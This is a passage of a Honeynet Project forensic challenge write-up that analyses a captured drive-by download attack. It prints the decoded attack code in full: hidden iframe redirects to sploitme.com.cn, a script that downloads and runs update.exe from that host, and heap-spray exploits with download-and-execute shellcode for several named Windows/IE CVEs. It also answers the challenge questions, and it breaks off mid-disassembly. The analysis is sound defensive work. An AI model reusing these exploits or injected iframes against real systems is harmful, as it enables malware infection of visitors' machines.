%b%0%6%d%e%7%1%p%C"));','39,39','69|65|74|63|3D|68|66|6D|20|73|22|2F|6C|72|61|62|64|3C|70|3A|6F|2E|6E|31|
79|3E|document|write|unescape|3F|6B|33|35|36|32|77|67|76|0A'.split('|'),0,{}));
```

This script produces the code below:

```
document.write(unescape("%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%73%70%6C%6F
%69%74%6D%65%2E%63%6F%6D%2E%63%6E%2F%3F%63%6C%69%63%6B%3D
%33%66%65%62%35%61%36%62%32%66%22%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%20%73%74%79%6C%65%3D
%22%76%69%73%69%62%69%6C%69%74%79%3A%20%68%69%64%64%65%6E%22%3E%3C%2F%69%66%72%61%6D%65%3E%0A"));
```

then with the string unescaped :

```
document.write("<iframe src='http://sploitme.com.cn/?click=3feb5a6b2f'width=1 height=1
style='visibility: hidden'></iframe>");
```

So, this script instruct the browser to load the url: <http://sploitme.com.cn/?click=3feb5a6b2f> in an invisible frame. The size of this frame is 1x1 pixel.

/catalog page from shop.honeynet.sg: (Redirection via invisible iframe)

```
var s="=jgsbnf!tsd>#iuuq;00tqmpjunf/dpn/do0@dmjdl>95d1:1ce97#!xjeui>2!ifjhui>2!tuzmf>#wjtjcjmjuz;!
ijeefo#?=0jgsbnf?";
m="";
for(i=0;i<s.length;i++)
{
  if(s.charCodeAt(i)==28)
  {
    m+="&";
  }
  else if(s.charCodeAt(i)==23)
  {
    m+= "!";
  }
}
```

```

}
else
{
  m+=String.fromCharCode(s.charCodeAt(i)-1);
}
}
document.write(m);

```

the script on this page is a string decoder where an encrypted string s is decoded to produce a string m. This string will then be written to the document to produce an iframe html code.

Encoded s:

```
var s="jgsbnf!tsd>#iuuq;00tqmpjunf/dpn/do0@dmjdl>95d1:1ce97#!xjeui>2!ifjhiu>2!tuzmf>#wjtjcmjuz;!
ijeefo#?=0jgsbnf?"
```

Decoded m:

```
m = "<iframe src="http://sploitme.com.cn/?click=84c090bd86" width=1 height=1 style="visibility:
hidden"></iframe>"
```

in fact, the script use a very easy to understand decryption loop:

```

m="";
for(i=0;i<s.length;i++){
  if(s.charCodeAt(i)==28){
    m+="&";
  } else if(s.charCodeAt(i)==23){
    m+= " ";
  }else{
    m+=String.fromCharCode(s.charCodeAt(i)-1);
  }
}
document.write(m)

```

each character of the original string (m) was encoded using the next character in the ascii table to produce the string s. Eg: for the word iframe : i becomes j , f becomes g, r becomes s, etc... the resulting word is: jgsbnf

Exploitation Scripts

/fg/show.php?s=3feb5a6b2f from sploitme.com.cn

The client 10.0.2.15 was redirected from rapidshare.com.eyu32.ru to this page. This client is an Windows XP host using Firefox 3.5.3. The exploit server sent the script below:

```

<script language='JavaScript'>
<!--
var CRYPT={
  signature:'CGerjg56R',
  _keyStr:'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',
  decode:function(input){
    var output='';
    var chr1,chr2,chr3;
    var enc1,enc2,enc3,enc4;
    var i=0;input=input.replace(/[\^A-Za-z0-9\+\=\|\\/\=]/g,'');
    while(i<input.length){
      enc1=this._keyStr.indexOf(input.charAt(i++));
      enc2=this._keyStr.indexOf(input.charAt(i++));
      enc3=this._keyStr.indexOf(input.charAt(i++));
      enc4=this._keyStr.indexOf(input.charAt(i++));
      chr1=(enc1<<2)|(enc2>>4);
      chr2=((enc2&15)<<4)|(enc3>>2);
      chr3=((enc3&3)<<6)|enc4;
      output=output+String.fromCharCode(chr1);
      if(enc3!=64){output=output+String.fromCharCode(chr2);}
      if(enc4!=64){output=output+String.fromCharCode(chr3);}
    }
  }
}

```

The work is licensed under a [Creative Commons License](https://creativecommons.org/licenses/by/4.0/).
Copyright © The HoneyNet Project, 2010

```

    }
    output=CRYPT._utf8_decode(output);
    return output;
},
_utf8_decode:function(utf8text){
    var string='';
    var i=0;
    var c=0,c1=0,c2=0,c3=0;
    while(i<utf8text.length){
        c=utf8text.charCodeAt(i);
        if(c<128){
            string+=String.fromCharCode(c);
            i++;
        }else if((c>191)&&(c<224)){
            c2=utf8text.charCodeAt(i+1);
            string+=String.fromCharCode(((c&31)<<6)|(c2&63));
            i+=2;
        }else{
            c2=utf8text.charCodeAt(i+1);
            c3=utf8text.charCodeAt(i+2);
            string+=String.fromCharCode(((c&15)<<12)|((c2&63)<<6)|(c3&63));
            i+=3;
        }
    }
    return string;
},
obfuscate:function(str){
    var container='';
    for(var i=0,z=0;i<str.length;i=i+3,z++){
        container+=String.fromCharCode(str.substring(i,i+3)-this.signature.substring(z
%this.signature.length,z%this.signature.length+1).charCodeAt(0));
    }
    return CRYPT.decode(container);
}
}
eval(CRYPT.obfuscate('1571811872311951541351661801171232041951561601691531531871792011851912141281421981
89161189196191200140103190165122187162181170153169180117149205214177211171152187120182200223192212126122
13017014421018421120110414013014618017522919519010616815618819022219117416817212916618312816822319615215
11631601151681881712231761221321931571581792281891891181651571551871512031941761561531911531911812011591
52151125201122171173188159204104128190166155150231196191152157163154149149211194193161141151124176198223
19220915312118517215518919215820114017320314317920519219017215713916813713620618919021911014313213711919
01642092141431371901221711731881592041041281901661551502311961911521571631541491492111941931611411511241
7619822319220915312118517215518822212202162111204165121191162182211157132166136175186200176168158129166
1831281901641761511421041851781611842221612031251281351681221752220518710217117215517020420117515213013
71541491192001841802111521421681751701521952171781371701391561211711621951531561651721501791562161941521
101211911751801761861802111521381301241692112002212011201622031571591831632052120105159159134144156213215
18917313019112419019120115821412616118213715716818722117615811119115719215823620317411010515817713721221
31741601631441701491731902012182071541221301871452111871631761581701601561591832251822131271581801761532
19212189206165130153157175199186184211128138198188161189183223202103140199157138205231206190173169157151
18721320421120717414417013618820022319222515212513918417015120019119314115813014715514921918318612616618
31181452092141781891741521871331192002241922111321051311751691731922142041041281901671431872352042081191
63171154191223204190219110156163179139199164155222151125168115161184217218182172115143'));
//-->
</script>

```

This script defines a CRYPT object containing:

- two constants
 - signature
 - _keyStr
- and 3 functions :
 - decode
 - _utf8_decode
 - obfuscate

This CRYPT object is then used in an eval statement to decode a long encrypted string. This decoded string is

After being decrypted the string look like below:

```
function Complete() {
    setTimeout('location.href = "about:blank",2000);
}
function CheckIP() {
    var req=null;
    try{
        req=new ActiveXObject("Msxml2.XMLHTTP");
    }
    catch(e) {
        try{
            req=new ActiveXObject("Microsoft.XMLHTTP");
        }
        catch(e) {
            try {
                req=new XMLHttpRequest();
            }
            catch(e){}
        }
    }
}
if(req==null) return"0";
req.open("GET","/fg/show.php?get_ajax=1&r="+Math.random(),false);
req.send(null);
if(req.responseText=="1") {
    return true;
}
else{return false;}
}
Complete();
```

Two functions are defined:

- Complete()
 - this function send the browser to the about:blank page after a 2 seconds timeout
- CheckIP()
 - First This function try to create an XMLHttpRequest object named req.
 - “try and catch” blocks are used to successively try to create either an ActiveX XMLHttpRequest object (for Internet Explorer) or an XMLHttpRequest() object (for firefox)
 - Then, if the object creation is successful it will be used to connect to /fg/show.php?get_ajax=1&r=”random_value”
 - The server will normally respond to this request with something.
 - If the returned value is 1, then this function will return true else it will return false

The name of this function make me thinking of an infection check which tries to answer this question: Is the victim already known or already exploited, and so a returning host ?

The exploit server may be using a kind of victim ip address database where it stores the IP of all the previously exploited hosts.

Even if two functions are defined, only Complete() is executed making this script harmless for 10.0.2.15.

The client 10.0.2.15 running Firefox 3.5.3 was not attacked by sploitme.com.cn

The next client to visit this page is 10.0.3.15, based on its user-agent, this hosts runs IE6 under Windows XP SP2.

The redirection process via iframe is exactly the same as it was for 10.0.2.15, so it lands on the same page. But this time the generated script is different.

The script received is decoded in the same manner as previously explained with the CRYPT.obfuscate function. What differs between the two scripts is only the encrypted string.

Below is the decoded string for 10.0.3.15:

```
function Complete() {
    setTimeout('location.href = "about:blank",2000);
}

function CheckIP() {
    var req=null;
    try{
        req=new ActiveXObject("Msxml2.XMLHTTP");
    }
    catch(e){
        try{
            req=new ActiveXObject("Microsoft.XMLHTTP");
        }
        catch(e){
            try{
                req=new XMLHttpRequest();
            }
            catch(e){}
        }
    }
    if(req==null) return "0";
    req.open("GET","/fg/show.php?get_ajax=1&r="+Math.random(), false);
    req.send(null);
    if(req.responseText=="1"){
        return true;
    }
    else{return false;}}

var urltofile='http://sploitme.com.cn/fg/load.php?e=1';
var filename='update.exe';

function CreateO(o,n){
    var r=null;
    try{
        r=o.CreateObject(n)
    }
    catch(e){}
    if(!r){
        try{
            r=o.CreateObject(n, '')
        }
        catch(e){}
    }
    if(!r){
        try{
            r=o.CreateObject(n, '', '')
        }
        catch(e){}
    }
    if(!r){
        try{
            r=o.GetObject('',n)
        }
        catch(e){}
    }
    if(!r){
        try{
            r=o.GetObject(n, '')
        }
        catch(e){}
    }
    if(!r){
        try{
            r=o.GetObject(n)
        }
    }
}
```

```

        catch(e){}
    }
    return r;
}

function Go(a){
    var s=CreateO(a,'WScript.Shell');
    var o=CreateO(a,'ADODB.Stream');
    var e=s.Environment('Process');
    var xhr=null;
    var bin=e.Item('TEMP')+'\\'+filename;
    try{
        xhr=new XMLHttpRequest();
    }
    catch(e){
        try{
            xhr=new ActiveXObject('Microsoft.XMLHTTP');
        }
        catch(e){
            xhr=new ActiveXObject('MSXML2.ServerXMLHTTP');
        }
    }
    if(!xhr)return(0);
    xhr.open('GET',urltofile,false)
    xhr.send(null);
    var filecontent=xhr.responseBody;
    o.Type=1; //Binary data
    o.Mode=3; // mode rw
    o.Open();
    o.Write(filecontent);
    o.SaveToFile(bin,2); // saves to file, overwrites if exists.
    s.Run(bin,0); // execute downloaded binary.
}

function mdac(){
    var i=0;
    var objects=new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}','{BD96C556-65A3-11D0-983A-00C04FC29E36}','{AB9BCEDD-EC7E-47E1-9322-D4A210617116}','{0006F033-0000-0000-C000-000000000046}','{0006F03A-0000-0000-C000-000000000046}','{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}','{6414512B-B978-451D-A0D8-FCFDF33E833C}','{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}','{06723E09-F4C2-43c8-8358-09FCD1DB0766}','{639F725F-1B2D-4831-A9FD-874847682010}','{BA018599-1DB3-44f9-83B4-461454C84BF8}','{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}','{E8CCDDDF-CA28-496b-B050-6C07C962476B}',null);

    while(objects[i]){
        var a=null;
        if(objects[i].substring(0,1)==''){
            a=document.createElement('object');
            a.setAttribute('classid','clsid:'+objects[i].substring(1,objects[i].length-1));
        }
        else {
            try{
                a=new ActiveXObject(objects[i]);
            }
            catch(e){}
        }
        if(a){
            try{
                var b=CreateO(a,'WScript.Shell');
                if(b){
                    if(Go(a)){
                        if(CheckIP()){
                            Complete();
                        }
                        else {
                            Complete();
                        }
                    }
                    return true;
                }
            }
        }
    }
}

```

```

    }
    catch (e) {}
    }
    i++;
}
Complete();
}
mdac();

```

The sent script is much more offensive, and defines 3 new functions:

- CreateO(o,n)
 - Used to create objects
- Go(a)
 - This function tries to download a binary file from <http://sploitme.com.cn/fg/load.php?e=1> using an XMLHTTP ActiveX object. The usage of ActiveX object only indicates that the attacker only want to exploit Internet Explorer.
 - Then with an ADODB.stream object, the binary stream is saved to a file named “update.exe” and located in the directory stored in the “TEMP” environment variable.
 - Finally this binary file is executed by a call to the Run function of a Wscript.Shell object pointing to the saved binary.
 -
- mdac()
 - this function will try to exploit a vulnerability found in the Microsoft Data Access Components
 - CVE-2006-0003 , MS Security bulletin : MS06-014

This time the script was harmful, the mdac() function is executed (last line of the script) and if the host is vulnerable it will be compromised. Looking at the pcap file after this script was received by 10.0.3.15, we can observe that it will request the “malware url” in frame #178. We can conclude that the exploitation was successful. This host has downloaded and executed the retrieved binary file.

Later in the 10.0.3.15 HTTP traffic , we can observe that it returns on the “redirection site” (rapidshare.com.eyu32.ru), and was redirected again to the exploit server. But this time, the returned page doesn't embed any script. This may be due to a check made by the exploit server to verify if an host as already been infected, and if so, doesn't try to exploit it anymore.

[/fg/show.php?s=84c090bd86](#)

This page was visited by 10.0.4.15 who was redirected to it by an invisible frame stored on /catalog/ page of shop.honeynet.sg. This client is running IE6 under Windows XP.

Again the same encryption was used and decoded via CRYPT.obfuscate.
Here's the resulting script:

```

function Complete(){setTimeout('location.href = "about:blank",2000);}
function CheckIP(){
    var req=null;
    try{
        req=new ActiveXObject("Msxml2.XMLHTTP");
    }
    catch(e){
        try{
            req=new ActiveXObject("Microsoft.XMLHTTP");
        }
        catch(e){
            try{
                req=new XMLHttpRequest();
            }catch(e){}
        }
    }
    if(req==null) return"0";
}

```

```

req.open("GET","/fg/show.php?get_ajax=1&r="+Math.random(),false);
req.send(null);
if(req.responseText=="1"){
    return true;
}
else{
    return false;
}
}

var urltofile='http://sploitme.com.cn/fg/load.php?e=1';
var filename='update.exe';

function CreateO(o,n){
    var r=null;
    try{
        r=o.CreateObject(n)
    }
    catch(e){}

    if(!r){
        try{
            r=o.CreateObject(n,'')
        }
        catch(e){}
    }

    if(!r){
        try{
            r=o.CreateObject(n','','')
        }
        catch(e){}
    }

    if(!r){
        try{
            r=o.GetObject('',n)
        }
        catch(e){}
    }

    if(!r){
        try{
            r=o.GetObject(n,'')
        }
        catch(e){}
    }

    if(!r){
        try{
            r=o.GetObject(n)
        }
        catch(e){}
    }

    return r;
}

function Go(a){
    var s=CreateO(a,'WScript.Shell');
    var o=CreateO(a,'ADODB.Stream');
    var e=s.Environment('Process');
    var xhr=null;
    var bin=e.Item('TEMP')+'\\'+filename;
    try{
        xhr=new XMLHttpRequest();
    }
    catch(e){
        try{
            xhr=new ActiveXObject('Microsoft.XMLHTTP');
        }
    }
}

```

```

    }
    catch(e) {
        xhr=new ActiveXObject('MSXML2.ServerXMLHTTP');
    }
}
if(!xhr)return(0);
xhr.open('GET',urltofile,false)
xhr.send(null);
var filecontent=xhr.responseBody;
o.Type=1;
o.Mode=3;
o.Open();
o.Write(filecontent);
o.SaveToFile(bin,2);
s.Run(bin,0);
}

function mdac(){
    var i=0;
    var objects=new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}','{BD96C556-65A3-11D0-983A-00C04FC29E36}','{AB9BCEDD-EC7E-47E1-9322-D4A210617116}','{0006F033-0000-0000-C000-000000000046}','{0006F03A-0000-0000-C000-000000000046}','{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}','{6414512B-B978-451D-A0D8-FCFDF33E833C}','{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}','{06723E09-F4C2-43c8-8358-09FCD1DB0766}','{639F725F-1B2D-4831-A9FD-874847682010}','{BA018599-1DB3-44f9-83B4-461454C84BF8}','{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}','{E8CCDDDF-CA28-496b-B050-6C07C962476B}',null);
    while(objects[i]){
        var a=null;
        if(objects[i].substring(0,1)==''){
            a=document.createElement('object');
            a.setAttribute('classid','clsid:'+objects[i].substring(1,objects[i].length-1));
        }
        else{
            try{
                a=new ActiveXObject(objects[i]);
            }
            catch(e){}
        }
        if(a){
            try{
                var b=CreateO(a,'WScript.Shell');
                if(b){
                    if(Go(a)){
                        if(CheckIP()){
                            Complete();
                        }
                        else{
                            aolwinamp();
                        }
                        return true;
                    }
                }
            }
            catch(e){}
        }
        i++;
    }
    aolwinamp();
}

function aolwinamp(){
    try{
        var obj=document.createElement('object');
        document.body.appendChild(obj);
        obj.id='IWinAmpActiveX';
        obj.width='1';
        obj.height='1';
        obj.data='./directshow.php';
        obj.classid='clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF';
        var shellcode=unescape("%u0033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB");
    }
}

```

```

%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C
%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA
%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D
%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%u0C32%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C
%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC
%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF
%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u732F%u6C70%u696F
%u6D74%u2E65%u6F63%u2E6D%u6E63%u662F%u2F67%u6F6C%u6461%u702E%u7068%u653F%u333D");
    var bigblock=unescape("%u0c0c%u0c0c");
    var headersize=20;
    var slackspace=headersize+shellcode.length;
    while(bigblock.length<slackspace) bigblock+=bigblock;
    var fillblock=bigblock.substring(0,slackspace);
    var block=bigblock.substring(0,bigblock.length-slackspace);
    while(block.length+slackspace<0x40000) block=block+block+fillblock;
    var memory=new Array();
    for(var i=0;i<666;i++){
        memory[i]=block+shellcode;
    }
    document.write('<SCRIPT language="VBScript">');
    document.write('bof=string(1400,unescape("%ff")) + string(1000,unescape("%0c"))');
    document.write('IWinAmpActiveX.ConvertFile bof,1,1,1,1,1');
    document.write('IWinAmpActiveX.ConvertFile bof,1,1,1,1,1');
    document.write('IWinAmpActiveX.ConvertFile bof,1,1,1,1,1');
    document.write('IWinAmpActiveX.ConvertFile bof,1,1,1,1,1');
    document.write('</SCRIPT>');
}
catch(e){}
directshow();
}

function directshow(){
    var shellcode=unescape("%u0C33%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B
%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C
%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA
%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D
%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%u0C32%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C
%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC
%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF
%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u732F%u6C70%u696F
%u6D74%u2E65%u6F63%u2E6D%u6E63%u662F%u2F67%u6F6C%u6461%u702E%u7068%u653F%u343D");
    var bigblock=unescape("%u9090%u9090");
    var headersize=20;
    var slackspace=headersize+shellcode.length;
    while(bigblock.length<slackspace)bigblock+=bigblock;
    var fillblock=bigblock.substring(0,slackspace);
    var block=bigblock.substring(0,bigblock.length-slackspace);
    while(block.length+slackspace<0x40000){
        block=block+block+fillblock;
    }
    var memory=new Array();
    for(var i=0;i<350;i++){
        memory[i]=block+shellcode;
    }
    try{
        var obj=document.createElement('object');
        document.body.appendChild(obj);
        obj.width='1';
        obj.height='1';
        obj.data='./directshow.php';
        obj.classid='clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF';
        setTimeout("if (CheckIP()){ Complete(); } else { snapshot(); }",1000);
    }
    catch(e){
        snapshot();
    }
}

function snapshot(){
    var x;

```

```

var obj;
var mycars=new Array();
mycars[0]='c:/Program Files/Outlook Express/wab.exe';
mycars[1]='d:/Program Files/Outlook Express/wab.exe';
mycars[2]='e:/Program Files/Outlook Express/wab.exe';
try{
    var obj=new ActiveXObject('snpww.Snapshot Viewer Control.1');
}
catch(e){
    try{
        var obj=document.createElement('object');
        obj.setAttribute('classid','clsid:F0E42D50-368C-11D0-AD81-00A0C90DC8D9');
        obj.setAttribute('id','obj');
        obj.setAttribute('width','1');
        obj.setAttribute('height','1');
        document.body.appendChild(obj);
    }
    catch(e){}
}
try{
    if(obj=='[object]'){
        for(x in mycars){
            obj=new ActiveXObject('snpww.Snapshot Viewer Control.1');
            var buf=mycars[x];
            obj.Zoom=0;
            obj.ShowNavigationButtons=false;
            obj.AllowContextMenu=false;
            obj.SnapshotPath='http://sploitme.com.cn/fg/load.php?e=6';
            try{
                obj.CompressedPath=buf;
                obj.PrintSnapshot();
                var snpelement=document.createElement('iframe');
                snpelement.setAttribute('id','snapiframe');
                snpelement.setAttribute('src','about:blank');
                snpelement.setAttribute('width',1);
                snpelement.setAttribute('height',1);
                snpelement.setAttribute('style','display:none');
                document.body.appendChild(snpelement);
                setTimeout("document.getElementById('snapiframe').src =
'ldap:///';",3000);
            }
            catch(e){}
        }
    }
}
catch(e){}
com();
}

function com(){
    try{
        var obj=document.createElement('object');
        document.body.appendChild(obj);
        obj.setAttribute('classid','clsid:EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F');
        if(obj){
            var shcode=unescape("%u0033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB
%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C
%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCF1%u030D%u40FA
%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D
%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%u032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%u0AB%u8A6C
%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC
%u0455%u5093%u0C33%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF
%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u732F%u6C70%u696F
%u6D74%u2E65%u6F63%u2E6D%u6E63%u662F%u2F67%u6F6C%u6461%u702E%u7068%u653F%u373D");
            var hbs=0x100000;
            var sss=hbs-(shcode.length*2+0x38);
            var hb=(0x0c0c0c0c-hbs)/hbs;
            var myvar=unescape("%u0C0C%u0C0C");
            var ss=myvar;
            while(ss.length*2<sss){

```

```

        ss+=ss;
    }
    ss=ss.substring(0,sss/2);
    var m=new Array();
    for(var i=0;i<hb;i++){
        m[i]=ss+shcode;
    }
    var z=Math.ceil(0x0c0c0c0c);
    z=document.scripts[0].createControlRange().length;
}
}
catch(e){}
spreadsheet();
}

function spreadsheet(){
    try{
        var objspread=new ActiveXObject('OWC10.Spreadsheet');
    }
    catch(e){}
    if(objspread){
        try{
            var shellcode=unescape("%u0033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD
%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A
%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F
%u0314%uF238%u0874%uCF1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B
%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFA2%uFFFF%u032%uF78B
%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E
%uFFEC%u0455%u5093%u0C33%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF
%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u732F%u6C70%u696F
%u6D74%u2E65%u6F63%u2E6D%u6E63%u662F%u2F67%u6F6C%u6461%u702E%u7068%u653F%u383D");
            var array=new Array();
            var ls=0x81000-(shellcode.length*2);
            var bigblock=unescape("%u0b0c%u0b0c");
            while(bigblock.length<ls/2){
                bigblock+=bigblock;
            }
            var lh=bigblock.substring(0,ls/2);
            delete bigblock;
            for(var i=0;i<0x99*2;i++){
                array[i]=lh+lh+shellcode;
            }
            CollectGarbage();
            var objspread=new ActiveXObject("OWC10.Spreadsheet");
            e=new Array();
            e.push(1);
            e.push(2);
            e.push(0);
            e.push(window);
            for(i=0;i<e.length;i++){
                for(j=0;j<10;j++){
                    try{
                        objspread.Evaluate(e[i]);
                    }
                    catch(e){}
                }
            }
            window.status=e[3]+"";
            for(j=0;j<10;j++){
                try{
                    objspread.msDataSourceObject(e[3]);
                }
                catch(e){}
            }
        }
        catch(e){}
    }
    Complete();
}
mdac();

```

This time 5 new functions are defined, and all are vulnerability exploits targeting a Windows platform:

- aolwinamp()
 - tries to exploit a vulnerability in AmpX.dll ConvertFile() function. (BID-35028)
- directshow()
 - tries to exploit a stack-based buffer overflow in CComVariant::ReadFromStream function in the Active Template Library (ATL) (CVE-2008-0015)
- snapshot()
 - tries to exploit a vulnerability in the Microsoft Office Snapshot Viewer in snapview.ocx (CVE-2008-2463)
- com()
 - tries to exploit a vulnerability in the COM object instantiation. The clsid used, particularly targets msdds.dll (MS05-052 / CVE-2005-2127)
- spreadsheet()
 - tries to exploit a vulnerability (heap corruption) in MS Office Web Components Spreadsheet using the msDataSourceObject method (MS09-043 / CVE-2009-2496)

All these attacks, except mdac() and snapshot(), use a shellcode executed during a successful exploitation. Mdac() and snapshot() exploited vulnerabilities don't need to use a shellcode to download a binary and write it to disk. Instead the correct deviation of certain methods permit the attacker to have the job done without any shellcode.

These functions (or exploits) are launched in a particular order, and analysing this script reveal that the CheckIP() function is used to verify if the victim was successfully exploited.

Here are the steps of the attack

mdac() →

if CheckIP() : true (exploit successful) → Complete() : End of the attack

else →

aolwinamp() →

directshow() →

if CheckIP() : true (exploit successful) → Complete() : End of the attack

else →

snapshot() → com() → spreadsheet() → Complete() : End of the attack

Looking at 10.0.4.15 http sessions with the exploit server ,we can see that it has downloaded and queried multiple malware urls:

- /fg/load.php?e=1 (2 times)
- /fg/load.php?e=3 (1 time)

The first url is referenced by a variable used in the mdac() exploit, and like 10.0.3.15 has done previously, 10.0.4.15 will request this url twice. But no reference to the second url is visible (or at least readable) in the script. This mean that it will surely used in one of the shellcode used during one of the attacks.

Later the analysis of the shellcodes will reveal that this url is used in the aolwinamp() shellcode, meaning that 10.0.4.15 was also vulnerable to this attack and was exploited twice.

Question 7. On the malicious URLs at what do you think the variable 's' refers to? List the differences.	Possible Points: 2pts
Tools Used:	
<p>Answer 7.</p> <p>Two values of the 's' variable have been observed in the pcap file:</p> <ul style="list-style-type: none"> • 3feb5a6b2f • 84c090bd86 <p>These values are identical to the value of the “click” parameter used in the <iframe> redirection on the compromised sites. These values may be used as a kind of exploit script selector.</p> <p>The two hosts, IP address 10.0.3.15 and 10.0.4.15, appear to use the same kind of configuration (Windows XP SP2 / IE 6). And due to the suspected nature of the client setup (VM in a VB environment), their geographic locations are surely the same.</p> <p>Now, If we look at their network traffic, we can observe that depending on the 's' value the length of the script (and number if exploits embedded) is different.</p> <p>I suspect that the type of the exploit script is bound to the value of 's'.</p> <p>However, this variable seems to be optional because the observation of 10.0.5.15 HTTP traffic reveals that even without this parameter set, a script is still sent to the victim browser.</p>	

Question 8. Which operating system was targeted by the attacks? Which software? And which vulnerabilities? Could the attacks been prevented?	Possible Points: 4pts
Tools Used:	
<p>Answer 8.</p> <p>All the exploits found in the malicious javascripts target all MS Windows platforms. (98, 98SE, ME, 2000, XP, 2003, Vista, 2008)</p> <p>The software that could be exploited:</p> <ul style="list-style-type: none"> • Microsoft Data Access Components 2.7 and 2.8 SP1 and SP2 • AOL Radio AmpX ActiveX (AmpX.dll 2.4.6) • DirectShow • Microsoft Access 2000 to 2003 • Internet Explorer 5 , IE 5.5 , IE 6 • MS Office XP , MS Office 2003, MS Office 2000, 2003 and XP Web components <p>For the vulnerabilities targeted: see Answer to question 6 (Page 32/39)</p> <p>Most of these attacks could have been prevented by installing the security updates given by the editor of the vulnerable applications. But it seems that no patch is actually supplied to prevent the AmpX.dll exploit.</p> <p>However, all the attack process relies on the use of client-side scripting and the use of ActiveX objects, so disabling the use of javascript and ActiveX in Internet Explorer could have prevented all these attacks.</p>	
Question 9. What actions does the shellcodes perform? Please list the shellcodes (+md5 of the	Possible Points: 8pts

binaries). What's the difference between them?

Tools Used: mkcarray.cl, ollydbg

Answer 9.

four exploits try to use a shellcode:

- aolwinamp()
- directshow()
- com()
- spreadsheet()

To analyze these shellcodes I've used mkcarray to convert the shellcode strings extracted from the javascript to C files, and the compiled these files with cl.

The shellcode analysis reveals that the same kind of shellcode is used in the four attacks. The only difference between them being an url string. This shellcode is a kind of Download/Execute shellcode. Basically, it uses URLDownloadToFile to download a binary file via HTTP and write it on disk, and then uses WinExec to execute this file on the victim's computer.

Here's the commented shellcode for the aolwinamp() exploit:

```

0040A001 33C0      XOR     EAX,EAX
0040A003 64:8B40 30     MOV     EAX,DWORD PTR FS:[EAX+30] ; PEB
